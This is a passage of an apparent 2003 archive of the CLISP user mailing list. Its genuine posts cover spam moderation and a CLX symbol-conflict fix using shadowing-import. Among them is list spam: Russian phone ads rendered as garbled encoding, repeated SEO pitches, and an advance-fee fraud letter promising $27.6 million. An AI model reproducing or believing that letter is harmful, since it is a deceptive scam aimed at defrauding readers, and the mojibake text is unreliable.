-  ðåæèìå ðàçãîâîðà: äî 3 ÷àñîâ
Òåñò "Ñîòîâèê" Samsung SGH-A800
WAP
EMS
Ïîëèôîíè÷åñêèå ìåëîäèè
2 äèñïëåÿ

Ëåòíÿÿ ðàñïðîäàæà ñîòîâûõ òåëåôîíîâ ñ ïîäêëþ÷åíèåì!

Mitsubishi Trium mars+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=1999ðóá.
Siemens a35+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2350ðóá.
Siemens a40+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2600ðóá.
Siemens a50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2980ðóá.
Siemens c55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4190ðóá.
Siemens A55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3678ðóá.
Siemens m50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3678ðóá.
Alcatel ot311+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2850ðóá.
Motorola T2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2475ðóá.
Motorola v2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2630ðóá.
Motorola T190+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2900ðóá.
Motorola T191+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3300ðóá.
Motorola T192+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2900ðóá.
Motorola v50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4640ðóá.
Motorola C350+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4930ðóá.
Nokia 3310+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3350ðóá.
LG B1200+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3550ðóá.
LG W3000+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4250ðóá.

ÁÅÑÏËÀÒÍÀß ÄÎÑÒÀÂÊÀ ÏÎ ÌÎÑÊÂÅ,ÂÑÅ ÒÅËÅÔÎÍÛ ÍÎÂÛÅ, ÑÅÐÒÅÔÈÖÈÐÎÂÀÍÛÅ, ÃÀÐÀÍÒÈß ÍÀ ÂÑÅ ÒÅËÅÔÎÍÛ ÍÅ ÌÅÍÅÅ 1 ÃÎÄÀ, ÐÅÀËÜÍÛÅ ÖÅÍÛ, ÂÑÅ ÍÀËÎÃÈ ÂÊËÞ×ÅÍÛ!!!

ÇÀÊÀÇÛ ÄÅËÀÉÒÅ ÏÎ ÒÅËÅÔÎÍÓ: (095)517-I432, I09-4600 4649C045-7C9B8E71-13240F36-1AE94FFF-E8B716C **** 31FABC9A-1061E96-2794EB52-6185635C-551C9A5B *********** 1D9AC9E6-35FB20CE-215A00EC-27494140-15544B99 From Joerg-Cyril.Hoehle@t-systems.com Wed Jun 18 06:35:26 2003 Received: from mail5.telekom.de ([62.225.183.202] helo=mail1.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Sd5u-0001Wp-00 for ; Wed, 18 Jun 2003 06:35:22 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 18 Jun 2003 15:25:40 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 18 Jun 2003 15:25:39 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04EFE566@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: Spam on the list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 18 06:36:09 2003 X-Original-Date: Wed, 18 Jun 2003 15:25:34 +0200 Hi, Carlo Traverso >The most effective way would be to allow subscribers to post >immediately, and non-subscriber messages to require authorization of a >moderator. Usually the mailing list software allowws to set this >option. I've been told that Spammer-SW is known to subscribe to mailing lists and send messages here and then, possibly much later. How would you (as a moderator or approver) tell a spammer's subscription request from a "good" one? Regards, Jorg Hohle. From traverso@posso.dm.unipi.it Wed Jun 18 07:50:58 2003 Received: from posso.dm.unipi.it ([131.114.6.61] ident=[STP8LE4BK4/FshRV9wk0o3u48krvl09b]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SeH1-0007No-00 for ; Wed, 18 Jun 2003 07:50:55 -0700 Received: (from traverso@localhost) by posso.dm.unipi.it (8.11.6/8.11.6) id h5IEoWH04998; Wed, 18 Jun 2003 16:50:32 +0200 Message-Id: <200306181450.h5IEoWH04998@posso.dm.unipi.it> From: Carlo Traverso To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 17 Jun 2003 14:45:47 -0400) Subject: Re: [clisp-list] Re: Spam on the list Reply-To: traverso@dm.unipi.it References: <200306171841.h5HIf1707242@posso.dm.unipi.it> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 18 07:51:25 2003 X-Original-Date: Wed, 18 Jun 2003 16:50:32 +0200 >>>>> "Sam" == Sam Steingold writes: >> * In message <200306171841.h5HIf1707242@posso.dm.unipi.it> * On >> the subject of "Re: [clisp-list] Re: Spam on the list" * Sent >> on Tue, 17 Jun 2003 20:41:01 +0200 * Honorable Carlo Traverso >> writes: >> >> The most effective way would be to allow subscribers to post >> immediately, and non-subscriber messages to require >> authorization of a moderator. Usually the mailing list software >> allowws to set this option. Sam> do you volunteer to be the moderator? I could but not before october, since I'll be offline frequently before. Sam> note that the unsubscribed user will probably send many Sam> replies in the ensuing discussion and you will have to Sam> approve her messages promptly so that the other users will Sam> see them in time. Users wanting fast interaction can subscribe. Carlo From traverso@posso.dm.unipi.it Wed Jun 18 07:55:48 2003 Received: from posso.dm.unipi.it ([131.114.6.61] ident=[ngC0ykVJ9c82vvBvUeGz9oV/UcL4dD4K]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SeLg-0000Uu-00 for ; Wed, 18 Jun 2003 07:55:44 -0700 Received: (from traverso@localhost) by posso.dm.unipi.it (8.11.6/8.11.6) id h5IEtU205121; Wed, 18 Jun 2003 16:55:30 +0200 Message-Id: <200306181455.h5IEtU205121@posso.dm.unipi.it> From: Carlo Traverso To: Joerg-Cyril.Hoehle@t-systems.com CC: clisp-list@lists.sourceforge.net In-reply-to: <9F8582E37B2EE5498E76392AEDDCD3FE04EFE566@G8PQD.blf01.telekom.de> (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] Re: Spam on the list Reply-To: traverso@dm.unipi.it References: <9F8582E37B2EE5498E76392AEDDCD3FE04EFE566@G8PQD.blf01.telekom.de> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 18 07:56:11 2003 X-Original-Date: Wed, 18 Jun 2003 16:55:30 +0200 >>>>> "Hoehle," == Hoehle, Joerg-Cyril writes: Hoehle,> Hi, Hoehle,> Carlo Traverso >> The most effective way would be to allow subscribers to post >> immediately, and non-subscriber messages to require >> authorization of a moderator. Usually the mailing list software >> allowws to set this option. Hoehle,> I've been told that Spammer-SW is known to subscribe to Hoehle,> mailing lists and send messages here and then, possibly Hoehle,> much later. How would you (as a moderator or approver) Hoehle,> tell a spammer's subscription request from a "good" one? Subscribed spammers can just send once. clisp is one of the only two list to which I am subscribed that distributes spam. Carlo Traverso From maryroland@rediffmail.com Wed Jun 18 11:17:11 2003 Received: from host81-130-251-210.in-addr.btopenworld.com ([81.130.251.210] helo=ogwu) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ShUc-0006d1-00 for ; Wed, 18 Jun 2003 11:17:10 -0700 From: maryroland@rediffmail.com To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset="US-ASCII" Reply-To: maryroland@rediffmail.com X-Priority: 3 Message-Id: Subject: [clisp-list] important Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 18 11:18:03 2003 X-Original-Date: Wed, 18 Jun 2003 19:16:59 +0100 From: Mrs. Mary Rowland EMAIL:maryroland@rediffmail.com PLEASE ENDEAVOUR TO USE IT FOR THE CHILDREN OF GOD. I am the above named person from Malaysia but now undergoing medical treatment . I am married to Dr.Alan George Rowland who worked with Malaysia embassy in South Africa for nine years before he died in the year 2000. We were married for eleven years without a child. He died after a brief illness that lasted for only four days. Before his death we were both born again Christians.Since his death I decided not to re-marry or get a child outside my matrimonial home which the Bible is against.When my late husband was alive he deposited the sum of$27.6Million (twenty-seven Million six hundred thousand U.S. Dollars) with one finance/security company in Europe. Presently, this money is still with the Security Company. Recently, my Doctor told me that I would not last for the next three months due to cancer problem. Though what disturbs me most is my stroke. Having known my condition I decided to donate this fund to church or better still a christian individual that will utilize this money the way I am going to instruct here in. I want a church or individual that will use this to fund churches, orphanages and widows propagating the word of God and to ensure that the house of God is maintained. The Bible made us to understand that Blessed is the hand that giveth. I took this decision because I don’t have any child that will inherit this money and my husband relatives are not Christians and I don’t want my husband’s hard earned money to be misused by unbelievers. I don’t want a situation where this money will be used in an ungodly manner, hence the reason for taking this bold decision. I am not afraid of death hence I know where I am going. I know that I am going to be in the bossom of the Lord. Exodus 14 VS 14 says that the lord will fight my case and I shall hold my peace. I don’t need any telephone communication in this regard because of my health,and because of the presence of my husband’s relatives around me always. I don’t want them to know about this development. With God all things are possible. As soon as I receive your reply I shall give you the contact of the Finance/Security Company Europe. I will also issue you a letter of authority that will empower you as the original- beneficiary of this fund. I want you and the church to always pray for me because the lord is my shephard. My happiness is that I lived a life of a worthy Christian. Whoever that wants to serve the Lord must serve him in spirit and truth. Please always be prayerful all through your life. Any delay in your reply will give me room in sourcing for a church or christian individual for this same purpose. Please assure me that you will act accordingly as I stated herein. Hoping to hear from you. Remain blessed in the name of the Lord. Yours in Christ, Mrs Mary Rowland. From cbe59as@earthlink.net Thu Jun 19 06:24:04 2003 Received: from [136.145.167.246] (helo=136.145.167.246) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SzOV-0004VV-00 for ; Thu, 19 Jun 2003 06:24:03 -0700 From: 237627@bigfoot.com X-Mailer: PHP/4.2.2 Reply-To: 237627@email.com Organization: 1276798285 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list]  Ñóïåð òåëåôîíû ïî ñàìîé íèçêîé öåíå â Ìîñêâå! 237627 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 19 06:25:03 2003 X-Original-Date: Thu, 19 Jun 2003 05:22:50 -0400 Untitled
Ñóïåð òåëåôîíû ïî ñàìîé íèçêîé öåíå â Ìîñêâå!

NOKIA 7210 - 260$
Ðàçìåðû: 106x45x17,5 ìì
Âåñ: 83 ã.
Âðåìÿ ðàáîòû:
(Li-Ion)
-  ðåæèìå îæèäàíèÿ: äî 240 ÷àñîâ
-  ðåæèìå ðàçãîâîðà: äî 4 ÷àñîâ
Öâåòíîé äèñïëåé
Stereo FM ðàäèî â ñòàíäàðòíîé ïîñòàâêå
Ïîëèôîíè÷åñêèå ìåëîäèè âûçîâà
MMS
GPRS
Ïîääåðæêà J2ME
Pop-Port™
IrDA
Ñìåííûå ïàíåëè Xpress-on
Panasonic gd 55 - 180$
Ðàçìåðû: 77x49x16.9 ìì
Âåñ: 65 ã.
Âðåìÿ ðàáîòû:
(Li-Ion)
-  ðåæèìå îæèäàíèÿ: äî 230 ÷àñîâ
-  ðåæèìå ðàçãîâîðà: äî 7.9 ÷àñîâ
Ïîëèôîíè÷åñêèå ìåëîäèè
GPRS
WAP
Ãðîìêàÿ ñâÿçü
Siemens sl 55 - 600$
Ðàçìåðû: 81,6õ44,5õ21,9 ìì
Âåñ: 79 ã.
Âðåìÿ ðàáîòû:
(Li-Ion 500 ìÀ÷)
- â ðåæèìå îæèäàíèÿ: 200÷
- â ðåæèìå ðàçãîâîðà: 3,5 ÷
Ñäâèæíîé êîðïóñ
Öâåòíîé äèñïëåé
Ïîëèôîíè÷åñêèå ìåëîäèè
Java2ME
GPRS
MMS
IrDA
Âîçìîæíîñòü ïîäêëþ÷åíèÿ öèôðîâîé ôîòîêàìåðû
Siemens s55 c êàìåðîé è êàáåëåì - 360$
Ðàçìåðû: 101x42x18 ìì
Âåñ: 85 ã.
Âðåìÿ ðàáîòû:
(Li-Ion)
- Â ðåæèìå îæèäàíèÿ: äî 12 äíåé
-  ðåæèìå ðàçãîâîðà: äî 6 ÷àñîâ
Öâåòíîé äèñïëåé
Ïîëèôîíè÷åñêèå ìåëîäèè
J2ME
IrDA
GPRS
Bluetooth
MMS
Motorola t720i - 215$
Ðàçìåðû: 90x47,5x21,3 ìì
Âåñ: 100 ã.
Âðåìÿ ðàáîòû (Li-Ion 550 mAh / 750 mAh):
-  ðåæèìå îæèäàíèÿ: äî 170 ÷àñîâ
-  ðåæèìå ðàçãîâîðà: äî 3 ÷àñîâ
Öâåòíîé äèñïëåé
GPRS
EMS
Ïîëèôîíè÷åñêèå ìåëîäèè âûçîâà
Java2Micro Edition (J2ME)
Òèï êîðïóñà - "êíèæêà"
Ñìåííûå ïàíåëè
Samsung a800 - 225$
Ðàçìåðû: 80x42x22 ìì
Âåñ: 68 ã.
Âðåìÿ ðàáîòû: (Li-Ion 750 mAh)
-  ðåæèìå îæèäàíèÿ: äî 150 ÷àñîâ
-  ðåæèìå ðàçãîâîðà: äî 3 ÷àñîâ
Òåñò "Ñîòîâèê" Samsung SGH-A800
WAP
EMS
Ïîëèôîíè÷åñêèå ìåëîäèè
2 äèñïëåÿ

Ëåòíÿÿ ðàñïðîäàæà ñîòîâûõ òåëåôîíîâ ñ ïîäêëþ÷åíèåì!

Mitsubishi Trium mars+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=1999ðóá.
Siemens a35+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2350ðóá.
Siemens a40+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2600ðóá.
Siemens a50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2980ðóá.
Siemens c55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4190ðóá.
Siemens A55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3678ðóá.
Siemens m50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3678ðóá.
Alcatel ot311+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2850ðóá.
Motorola T2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2475ðóá.
Motorola v2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2630ðóá.
Motorola T190+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2900ðóá.
Motorola T191+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3300ðóá.
Motorola T192+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2900ðóá.
Motorola v50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4640ðóá.
Motorola C350+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4930ðóá.
Nokia 3310+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3350ðóá.
LG B1200+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3550ðóá.
LG W3000+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4250ðóá.

ÁÅÑÏËÀÒÍÀß ÄÎÑÒÀÂÊÀ ÏÎ ÌÎÑÊÂÅ,ÂÑÅ ÒÅËÅÔÎÍÛ ÍÎÂÛÅ, ÑÅÐÒÅÔÈÖÈÐÎÂÀÍÛÅ, ÃÀÐÀÍÒÈß ÍÀ ÂÑÅ ÒÅËÅÔÎÍÛ ÍÅ ÌÅÍÅÅ 1 ÃÎÄÀ, ÐÅÀËÜÍÛÅ ÖÅÍÛ, ÂÑÅ ÍÀËÎÃÈ ÂÊËÞ×ÅÍÛ!!!

ÇÀÊÀÇÛ ÄÅËÀÉÒÅ ÏÎ ÒÅËÅÔÎÍÓ: (095)517-I432, I09-4600 F5B702D-69848346-4E5B2E38-4952D928-1D8679A0 ***************** 35D0986C-5699D41C-6350D67A-5334674F-64866240 **** 418005D7-2539846A-7D87AB2C-384D3D3C-716AB69 From tik30142alexgoldd@yahoo.com Thu Jun 19 11:17:15 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19T3yF-0005sw-00 for ; Thu, 19 Jun 2003 11:17:15 -0700 Received: from [199.146.116.20] (port=4940 helo=199.146.116.20) by externalmx.vasoftware.com with smtp (Exim 4.20 #1 (Debian)) id 19T3wl-0008IL-Py for ; Thu, 19 Jun 2003 11:15:54 -0700 Message-ID: <2003063028.30286.qmail@mail.yahoo.com> From: "John Kronis" To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 X-EA-Verified: externalmx.vasoftware.com 19T3wl-0008IL-Py 8d8018551b82d8e140a03731d20237d2 X-Spam-Score: 15.2 Subject: [clisp-list] Your Google Rankings – http://www.clisp.cons.org Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 19 11:18:10 2003 X-Original-Date: Thu, 19 Jun 2003 12:21:02 -0700
Subject: http://www.clisp.cons.org


The GoogleRanking Report* is a step-by-step Guide/Tutorial which explains in a simplified format how to optimize and prepare http://www.clisp.cons.org specifically for better results on the Google™ search engine.

Our Guide/Tutorial is a "must-have" for you and your webmaster! Are you currently using the services of a search engine placement company? Are you sure that they have optimized your site for optimum rankings? Are you a search engine technician? The
Google™ Ranking Report* will soon become your best support!

Our 50-page guide is written in terms that can be easily understood. It will allow you to gain the elementary knowledge necessary in order to evaluate the compatibility of your web pages with
Google search ranking criteria.

Whether you wish to improve your rankings or maintain your current satisfactory placement,
The
GoogleRanking Report* will guide you step-by-step according to your needs.

For more info please click on the following link:
http://www.rankingsos.com/google.html

With The GoogleRanking Report*, you are just one step away from significantly improving and/or maintaining your Google rankings!

We also advise you to check out our other publication titled Maximizing Your Google™ Paid Advertisement*.... Whether you are currently advertising with Google or simply considering advertising in the near future, Maximizing Your Google™ Paid Advertisement* will definitely help you to increase considerably your return on investment!

Matt Keravel
info@rankingsos.com


*The
Google™ Ranking Report + Maximizing your Google™ Paid Advertisement are published by CyberDifference Corp. Google™ Consultation Services is a service offered by CyberDifference Corp as well.

CyberDifference Corp. is not affiliated / related in any way to GOOGLE Inc. - GOOGLE Technology Inc.
GOOGLE™ - PageRank™ - AdWords™ are trademarks of GOOGLE Inc. - GOOGLE Technology Inc.

Cyberdifference Corp. would like herewith to pay a tribute of respect by expressing our gratitude & appreciation to Google Inc for providing to the world the very best search engine which in our opinion reflects pure genius essence!


If you want to be removed from our mailing lists please write to remove@rankingsos.com and include your email address in the subject line. We honor all removal requests.


C Y B E R D I F F E R E N C E C O R P.
PO Box 4152
Sedona, AZ 86340
TEL:1(928) 203-1099 - FAX: 1(928) 222-8473
From lisp-clisp-list@m.gmane.org Thu Jun 19 15:01:53 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19T7Ta-0000AT-00 for ; Thu, 19 Jun 2003 15:01:51 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19T7S0-000208-00 for ; Fri, 20 Jun 2003 00:00:12 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19T7IE-0001Fr-00 for ; Thu, 19 Jun 2003 23:50:06 +0200 From: "David Reiss" Lines: 18 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@main.gmane.org User-Agent: Pan/0.13.3 (That cat's something I can't explain) Subject: [clisp-list] Symbol Collision with CLX Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 19 15:02:17 2003 X-Original-Date: Thu, 19 Jun 2003 14:49:05 -0700 If you're interested in my disclaimer, it is at the bottom. I'd like to be able to use CLX without prefixing all functions with xlib:, so it seemed like a good idea to start my file with (use-package 'xlib), but this caused a name conflict on the symbol "char-width" which is a function in both the common-lisp-user package and xlib. My first idea was to unintern it from c-l-user, but (unintern 'char-width) simply returns nil. I also tried wrapping use-package in an ignore-errors, but this did not properly import the xlib symbols. The most obvious solutions are to prefix every xlib function with xlib: or to list every function that I use in an import. Obviously, neither of these is overly appealing to me. Any ideas? Thanks a lot. --David P.S.: Disclaimer: I'm sure this question has been answered before, but I swear to you that searching google and gmane for clisp clx char width turned up nothing. Sorry to waste your time. From samuel.steingold@verizon.net Thu Jun 19 15:41:04 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19T85X-00031Y-00 for ; Thu, 19 Jun 2003 15:41:03 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h5JMeuj18256; Thu, 19 Jun 2003 18:40:56 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "David Reiss" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Symbol Collision with CLX References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 19 15:42:01 2003 X-Original-Date: 19 Jun 2003 18:40:54 -0400 > * In message > * On the subject of "[clisp-list] Symbol Collision with CLX" > * Sent on Thu, 19 Jun 2003 14:49:05 -0700 > * Honorable "David Reiss" writes: > > I'd like to be able to use CLX without prefixing all functions with > xlib:, so it seemed like a good idea to start my file with > (use-package 'xlib), but this caused a name conflict on the symbol > "char-width" which is a function in both the common-lisp-user package > and xlib. My first idea was to unintern it from c-l-user, but > (unintern 'char-width) simply returns nil. I also tried wrapping > use-package in an ignore-errors, but this did not properly import the > xlib symbols. The most obvious solutions are to prefix every xlib > function with xlib: or to list every function that I use in an import. > Obviously, neither of these is overly appealing to me. Any ideas? SHADOWING-IMPORT is your friend: (shadowing-import 'xlib:char-width) (use-package "XLIB") good luck. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Cannot handle the fatal error due to a fatal error in the fatal error handler. From gilmar_p20668liran20@yahoo.com Thu Jun 19 17:50:27 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19TA6k-0000Gb-00 for ; Thu, 19 Jun 2003 17:50:26 -0700 Received: from lsanca1-ar2-4-60-044-202.lsanca1.dsl-verizon.net ([4.60.44.202]:4528) by externalmx.vasoftware.com with smtp (Exim 4.20 #1 (Debian)) id 19TA6e-0006lH-8T for ; Thu, 19 Jun 2003 17:50:22 -0700 Message-ID: <2003064498.28327.qmail@mail.yahoo.com> From: "John Kronis" To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 X-EA-Verified: externalmx.vasoftware.com 19TA6e-0006lH-8T ff070bd607da130715e62ced6fbb9925 X-Spam-Score: 17.7 Subject: [clisp-list] Your Google Rankings – http://www.clisp.cons.org Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 19 17:51:16 2003 X-Original-Date: Thu, 19 Jun 2003 18:55:59 -0700
Subject: http://www.clisp.cons.org


The GoogleRanking Report* is a step-by-step Guide/Tutorial which explains in a simplified format how to optimize and prepare http://www.clisp.cons.org specifically for better results on the Google™ search engine.

Our Guide/Tutorial is a "must-have" for you and your webmaster! Are you currently using the services of a search engine placement company? Are you sure that they have optimized your site for optimum rankings? Are you a search engine technician? The
Google™ Ranking Report* will soon become your best support!

Our 50-page guide is written in terms that can be easily understood. It will allow you to gain the elementary knowledge necessary in order to evaluate the compatibility of your web pages with
Google search ranking criteria.

Whether you wish to improve your rankings or maintain your current satisfactory placement,
The
GoogleRanking Report* will guide you step-by-step according to your needs.

For more info please click on the following link:
http://www.rankingsos.com/google.html

With The GoogleRanking Report*, you are just one step away from significantly improving and/or maintaining your Google rankings!

We also advise you to check out our other publication titled Maximizing Your Google™ Paid Advertisement*.... Whether you are currently advertising with Google or simply considering advertising in the near future, Maximizing Your Google™ Paid Advertisement* will definitely help you to increase considerably your return on investment!

Matt Keravel
info@rankingsos.com


*The
Google™ Ranking Report + Maximizing your Google™ Paid Advertisement are published by CyberDifference Corp. Google™ Consultation Services is a service offered by CyberDifference Corp as well.

CyberDifference Corp. is not affiliated / related in any way to GOOGLE Inc. - GOOGLE Technology Inc.
GOOGLE™ - PageRank™ - AdWords™ are trademarks of GOOGLE Inc. - GOOGLE Technology Inc.

Cyberdifference Corp. would like herewith to pay a tribute of respect by expressing our gratitude & appreciation to Google Inc for providing to the world the very best search engine which in our opinion reflects pure genius essence!


If you want to be removed from our mailing lists please write to remove@rankingsos.com and include your email address in the subject line. We honor all removal requests.


C Y B E R D I F F E R E N C E C O R P.
PO Box 4152
Sedona, AZ 86340
TEL:1(928) 203-1099 - FAX: 1(928) 222-8473
